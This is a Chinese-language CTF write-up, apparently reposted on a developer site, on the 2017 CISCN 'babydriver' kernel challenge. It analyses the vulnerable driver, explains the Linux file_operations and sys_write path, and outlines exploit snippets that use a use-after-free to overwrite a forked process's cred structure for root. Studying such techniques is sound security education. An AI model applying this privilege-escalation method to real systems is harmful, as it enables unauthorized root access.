linux kernel uaf---babydrive

栏目: 服务器 · Linux · 发布时间: 5年前

内容简介:初学Linux 内核pwn,如有不正确的地方还请指教,本文会以一个题目(2017-ciscn-babydrive)跟一个实际的linux内核uaf漏洞讲解。M4x大佬的博客这里已经写的很清楚了,我就不在写这些东西了,毕竟自己也水平有限,担心有说错的地方。但是还是要写一下这个题里面所涉及到的一些问题。在执行的时候会将/lib/modules/4.4.72/babydriver.ko插入内核,下面我们着重分析一下这个内核模块

初学 Linux 内核pwn,如有不正确的地方还请指教,本文会以一个题目(2017-ciscn-babydrive)跟一个实际的linux内核uaf漏洞讲解。

前置知识

M4x大佬的博客这里已经写的很清楚了,我就不在写这些东西了,毕竟自己也水平有限,担心有说错的地方。但是还是要写一下这个题里面所涉及到的一些问题。

  • 设备文件&&模块:区别于我们所创建的test.txt这样的文件,这是系统对硬件的一个抽象,我们要使用这个驱动程序,首先要加载它,我们可以用insmod xxx.ko,这样驱动就会注册,得到一个设备号,这个主设备号就是系统对它的唯一标识。驱动就是根据此主设备号来创建一个放置在/dev目录下的设备文件。在我们要访问此硬件时,就可以对设备文件通过open、read、write、close等命令进行,而open,read,等函数的具体实现方式则是由驱动来决定,简而言之,如下图所示

    linux kernel uaf---babydrive

  • 应用层函数与模块函数之间是如何调用的?从open打开文件,到write写文件,这中间是怎么执行的?

    2017-ciscn-babydrive

    解包&&分析内核模块

    解压后文件夹内存在三个文件:bzImage,booy.sh,rootfs.cpio

    boot.sh : qemu启动所需的命令,如果需要调试的话,在boot.sh启动脚本里面添加 -gdb tcp::1234 -S 即可

    bzImage : kernel映像

    rootfs.cpio是根文件的映像,需要将其解包才能找到文件系统

    执行下面三条命令即可

    mv rootfs.cpio rootfs.cpio.gz
    gunzip rootfs.cpio.gz
    cpio -idmv < rootfs.cpio

    在解包后的文件中发现一个init初始化文件

#!/bin/sh

mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

insmod /lib/modules/4.4.72/babydriver.ko
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys
poweroff -d 0  -f

在执行的时候会将/lib/modules/4.4.72/babydriver.ko插入内核,下面我们着重分析一下这个内核模块

分析

用ida打开后发现了 babyopen,babyioctl 等函数,逐个分析一下

  • babyrelease
    00000000000 babyrelease     proc near               ; DATA XREF: __mcount_loc:0000000000000400↓o
    .text:0000000000000000 inode = rdi                             ; inode *
    .text:0000000000000000 filp = rsi                              ; file *
    .text:0000000000000000                 call    __fentry__
    .text:0000000000000005                 push    rbp
    .text:0000000000000006                 mov     inode, cs:babydev_struct.device_buf
    .text:000000000000000D                 mov     rbp, rsp
    .text:0000000000000010                 call    kfree
    .text:0000000000000015                 mov     rdi, offset aDeviceRelease ; "device release\n"
    .text:000000000000001C                 call    printk
    .text:0000000000000021                 xor     eax, eax
    .text:0000000000000023                 pop     rbp
    .text:0000000000000024                 retn
    .text:0000000000000024 babyrelease     endp
    可以发现存在一个名为 babydev 的结构体
    00000000 babydevice_t    struc ; (sizeof=0x10, align=0x8, copyof_429)
    00000000                                         ; XREF: .bss:babydev_struct/r
    00000000 device_buf      dq ?                    ; XREF: babyrelease+6/r
    00000000                                         ; babyopen+26/w ... ; offset
    00000008 device_buf_len  dq ?                    ; XREF: babyopen+2D/w
    00000008                                         ; babyioctl+3C/w ...
    00000010 babydevice_t    ends
    结构体内存在两个元素,device_buf指向了一段内存地址,device_buf_len应该就是这段内存地址的大小了。 再回到这个函数,函数通过 kfree将device_buf所指向的buf释放掉了。
  • babyopen

    00000000030 babyopen        proc near               ; DATA XREF: __mcount_loc:0000000000000408↓o
    .text:0000000000000030                                         ; .data:fops↓o
    .text:0000000000000030 inode = rdi                             ; inode *
    .text:0000000000000030 filp = rsi                              ; file *
    .text:0000000000000030                 call    __fentry__
    .text:0000000000000035                 push    rbp
    .text:0000000000000036                 mov     inode, qword ptr cs:kmalloc_caches+30h
    .text:000000000000003D                 mov     edx, 40h ; '@'
    .text:0000000000000042                 mov     esi, 24000C0h
    .text:0000000000000047                 mov     rbp, rsp
    .text:000000000000004A                 call    kmem_cache_alloc_trace
    .text:000000000000004F                 mov     rdi, offset aDeviceOpen ; "device open\n"
    .text:0000000000000056                 mov     cs:babydev_struct.device_buf, rax
    .text:000000000000005D                 mov     cs:babydev_struct.device_buf_len, 40h
    .text:0000000000000068                 call    printk
    .text:000000000000006D                 xor     eax, eax
    .text:000000000000006F                 pop     rbp
    .text:0000000000000070                 retn
    .text:0000000000000070 babyopen        endp

    实现功能就是申请一段空间,并更新babydev_struct.device_buf的值为新空间的地址

  • babyioctl

    __int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
    {
    size_t v3; // rdx
    size_t v4; // rbx
    __int64 result; // rax
    
    _fentry__(filp, *(_QWORD *)&command);
    v4 = v3;
    if ( command == 65537 )
    {
      kfree(babydev_struct.device_buf);
      babydev_struct.device_buf = (char *)_kmalloc(v4, 37748928LL);
      babydev_struct.device_buf_len = v4;
      printk("alloc done\n", 37748928LL);
      result = 0LL;
    }
    else
    {
      printk(&unk_2EB, v3);
      result = -22LL;
    }
    return result;
    }

    关于ioctl函数 : int ioctl(int fd, unsigned long request, ...) 的第一个参数为文件描述符,第二个参数cmd是用户程序对设备的控制命令,再后边的参数则是一些补充参数,与设备有关。

    如果command参数为0x10001,就会先释放掉babydev_struct.device_buf指向的内存,然后根据传入的大小重新申请一段空间,并更新结构体。

  • babyread,babywrite 代码很清晰,不做分析,只需要知道copy_to_user/copy_from_user跟用户态函数memcpy()差不多就可以了
  • babydrive_init 初始化 /dev/babydev设备文件,这里包含了几个点。
int __cdecl babydriver_init()
{
  int v0; // edx
  __int64 v1; // rsi
  int v2; // ebx
  class *v3; // rax
  __int64 v4; // rax

  if ( (signed int)alloc_chrdev_region(&babydev_no, 0LL, 1LL, "babydev") >= 0 )// 分配设备号
  {
    cdev_init(&cdev_0, &fops);                  // 静态内存初始化
    v1 = babydev_no;
    cdev_0.owner = &_this_module;
    v2 = cdev_add(&cdev_0, babydev_no, 1LL);    // 添加到系统中去
    if ( v2 >= 0 )
    {
      v3 = (class *)_class_create(&_this_module, "babydev", &babydev_no);
      babydev_class = v3;
      if ( v3 )
      {
        v4 = device_create(v3, 0LL, babydev_no, 0LL, "babydev");
        v0 = 0;
        if ( v4 )
          return v0;
        printk(&unk_351, 0LL);
        class_destroy(babydev_class);
      }
      else
      {
        printk(&unk_33B, "babydev");
      }
      cdev_del(&cdev_0);
    }
    else
    {
      printk(&unk_327, v1);
    }
    unregister_chrdev_region(babydev_no, 1LL);
    return v2;
  }
  printk(&unk_309, 0LL);
  return 1;
}
  • 首先通过alloc_chrdev_region函数动态的分配了一个设备号,设备号的主要作用还是为了声明设备所对应的驱动程序。
  • cdev_init(&cdev_0,&fops),它的作用是初始化内存,fops方法里面保存的是什么?它保存了一些函数指针,指向处理与设备实际通信的函数,它表明了该驱动程序能对设备文件所进行的一些操作,在本例中就像

    000000008C0 fops            file_operations <offset __this_module, 0, offset babyread, \
    .data:00000000000008C0                                         ; DATA XREF: babydriver_init:loc_1AA↑o
    .data:00000000000008C0                                  offset babywrite, 0, 0, 0, 0, offset babyioctl, 0, 0,\
    .data:00000000000008C0                                  offset babyopen, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, \
    .data:00000000000008C0                                  0, 0, 0>

    可以看到有一个file_operations符号,在linux 内核源码中可以找到它的定义,ida中显示为0的地方意思就是不提供这个操作,可以对比下面的结构体。

    struct file_operations {
      struct module *owner;
      loff_t (*llseek) (struct file *, loff_t, int);
      ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);
      ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);
      ssize_t (*aio_read) (struct kiocb *, const struct iovec *, unsigned long, loff_t);
      ssize_t (*aio_write) (struct kiocb *, const struct iovec *, unsigned long, loff_t);
      int (*readdir) (struct file *, void *, filldir_t);
      unsigned int (*poll) (struct file *, struct poll_table_struct *);
      long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long);
      long (*compat_ioctl) (struct file *, unsigned int, unsigned long);
      int (*mmap) (struct file *, struct vm_area_struct *);
      int (*open) (struct inode *, struct file *);
      int (*flush) (struct file *, fl_owner_t id);
      int (*release) (struct inode *, struct file *);
      int (*fsync) (struct file *, int datasync);
      int (*aio_fsync) (struct kiocb *, int datasync);
      int (*fasync) (int, struct file *, int);
      int (*lock) (struct file *, int, struct file_lock *);
      ssize_t (*sendpage) (struct file *, struct page *, int, size_t, loff_t *, int);
      unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long);
      int (*check_flags)(int);
      int (*flock) (struct file *, int, struct file_lock *);
      ssize_t (*splice_write)(struct pipe_inode_info *, struct file *, loff_t *, size_t, unsigned int);
      ssize_t (*splice_read)(struct file *, loff_t *, struct pipe_inode_info *, size_t, unsigned int);
      int (*setlease)(struct file *, long, struct file_lock **);
      long (*fallocate)(struct file *file, int mode, loff_t offset,
                loff_t len);
    };

    但是到这里需要考虑一个问题,应用层函数write是如何与babywrite联系在一起的呢?这里就是通过我们常说的系统调用sys_write,下面是linux kernel v2.6.11对sys_write的描述

    asmlinkage ssize_t sys_write(unsigned int fd, const char __user * buf, size_t count)
    {
      struct file *file;
      ssize_t ret = -EBADF;
      int fput_needed;
    
      file = fget_light(fd, &fput_needed);//通过文件描述符获取文件
      if (file) {
          loff_t pos = file_pos_read(file);
          ret = vfs_write(file, buf, count, &pos);
          file_pos_write(file, pos);
          fput_light(file, fput_needed);
      }
    
      return ret;
    }

    可以看到sys_write最终是通过vfs_write实现的,再看一下vfs_write

    ssize_t vfs_write(struct file *file, const char __user *buf, size_t count, loff_t *pos)
    {
      ssize_t ret;
    
      if (!(file->f_mode & FMODE_WRITE))
          return -EBADF;
      if (!file->f_op || (!file->f_op->write && !file->f_op->aio_write))
          return -EINVAL;
      if (unlikely(!access_ok(VERIFY_READ, buf, count)))
          return -EFAULT;
    
      ret = rw_verify_area(WRITE, file, pos, count);
      if (!ret) {
          ret = security_file_permission (file, MAY_WRITE);
          if (!ret) {
              if (file->f_op->write)
                  ret = file->f_op->write(file, buf, count, pos);
              else
                  ret = do_sync_write(file, buf, count, pos);
              if (ret > 0) {
                  dnotify_parent(file->f_dentry, DN_MODIFY);
                  current->wchar += ret;
              }
              current->syscw++;
          }
      }
    
      return ret;
    }

    在这里,我们只关注ret = file->f_op->write(file, buf, count, pos);它的实现,file结构体也是定义在linux kernel中的结构体。

struct file {
    struct list_head    f_list;
    struct dentry        *f_dentry;
    struct vfsmount         *f_vfsmnt;
    struct file_operations    *f_op;
    atomic_t        f_count;
    unsigned int         f_flags;
    mode_t            f_mode;
    int            f_error;
    loff_t            f_pos;
    struct fown_struct    f_owner;
    unsigned int        f_uid, f_gid;
    struct file_ra_state    f_ra;

    size_t            f_maxcount;
    unsigned long        f_version;
    void            *f_security;

    /* needed for tty driver, and maybe others */
    void            *private_data;

#ifdef CONFIG_EPOLL
    /* Used by fs/eventpoll.c to link all the hooks to this file */
    struct list_head    f_ep_links;
    spinlock_t        f_ep_lock;
#endif /* #ifdef CONFIG_EPOLL */
    struct address_space    *f_mapping;
};

通过这个我们可以知道,它是通过file_operations结构体查找的write函数,前面我们已经分析了file_operations结构体里面包含驱动程序能够对文件进行的操作参数。,但是这个file结构体是怎么来的通过对sys_write函数的分析,可以知道

file = fget_light(fd, &fput_needed);

file是通过fget_light函数获得的

struct file fastcall *fget_light(unsigned int fd, int *fput_needed)
{
    struct file *file;
    struct files_struct *files = current->files;
        .......(略)
                get_file(file);
        ......(略)
    return file;
}

current ? 在linux中使用task_struct结构体存储相关的进程信息,而在linux内核编程中current宏可以非常简单地获取到指向task_struct的指针

我们可以得到如下的流程图 (第四个框表示file) linux kernel uaf---babydrive

为了得到完整流程,我们还需要了解inode,inode里面包含文件访问权限,属主,属组,大小,生成时间,访问时间,最后修改时间等信息,我们通过执行命令 ll 所看到的信息就是从inode结构体中取出来的,与file不同的是,一个文件对应于一个inode,但可能对应多个file。

struct inode {
    dev_t            i_rdev;//设备号
        struct cdev        *i_cdev;
    struct file_operations    *i_fop;    /* former ->i_op->default_file_ops */
    ......(略)
};

cdev:

struct cdev {
    ......(略)
    struct file_operations *ops;
    dev_t dev;
    unsigned int count;
};

inode中保存了设备号,与驱动程序一一对应,dentry结构体中的保存了inode,因此整个流程为 linux kernel uaf---babydrive

尽管上述流程可能对于解决babydrive这道题意义不大,但是理解他们是如何怎么工作的总归是有好处的,就像丁佬说的:不要把ctf当成“应试教育”。

分析

再回到这个题目,M4x大佬也对exp写了注释,我就不在此班门弄斧,只是针对exp写写自己的理解

int fd1 = open("/dev/babydev", 2);
    int fd2 = open("/dev/babydev", 2);

linux kernel uaf---babydrive

ioctl(fd1, 0x10001, 0x8a);

linux kernel uaf---babydrive

close(fd1);//kfree以后的内存会加入缓存,受slab分配器分配;
int pid = fork();

linux kernel uaf---babydrive

write(fd2, zeros, 28);//因为没有close(fd2),所以存在fd2的file,还能继续找到相应的驱动->babydrive

此时会继续向device_buf所指向的地址写入内容,因此可以修改cred结构体。

总结

非常感谢atum大佬提供的题目,丁佬跟p4nda大佬的帮助。

从write->sys_write->babywrite的调用过程我看可以看出linux设计的巧妙之处,用户空间开发者只需要关注write函数怎么使用就可以了,不用关心你的驱动有多复杂。

相关链接:

http://www.ruanyifeng.com/blog/2011/12/inode.html

https://www.ibm.com/developerworks/cn/linux/l-linux-slab-allocator/index.html


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Hackers

Hackers

Steven Levy / O'Reilly Media / 2010-5-30 / USD 21.99

This 25th anniversary edition of Steven Levy's classic book traces the exploits of the computer revolution's original hackers -- those brilliant and eccentric nerds from the late 1950s through the ear......一起来看看 《Hackers》 这本书的介绍吧!

在线进制转换器
在线进制转换器

各进制数互转换器

Markdown 在线编辑器
Markdown 在线编辑器

Markdown 在线编辑器

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换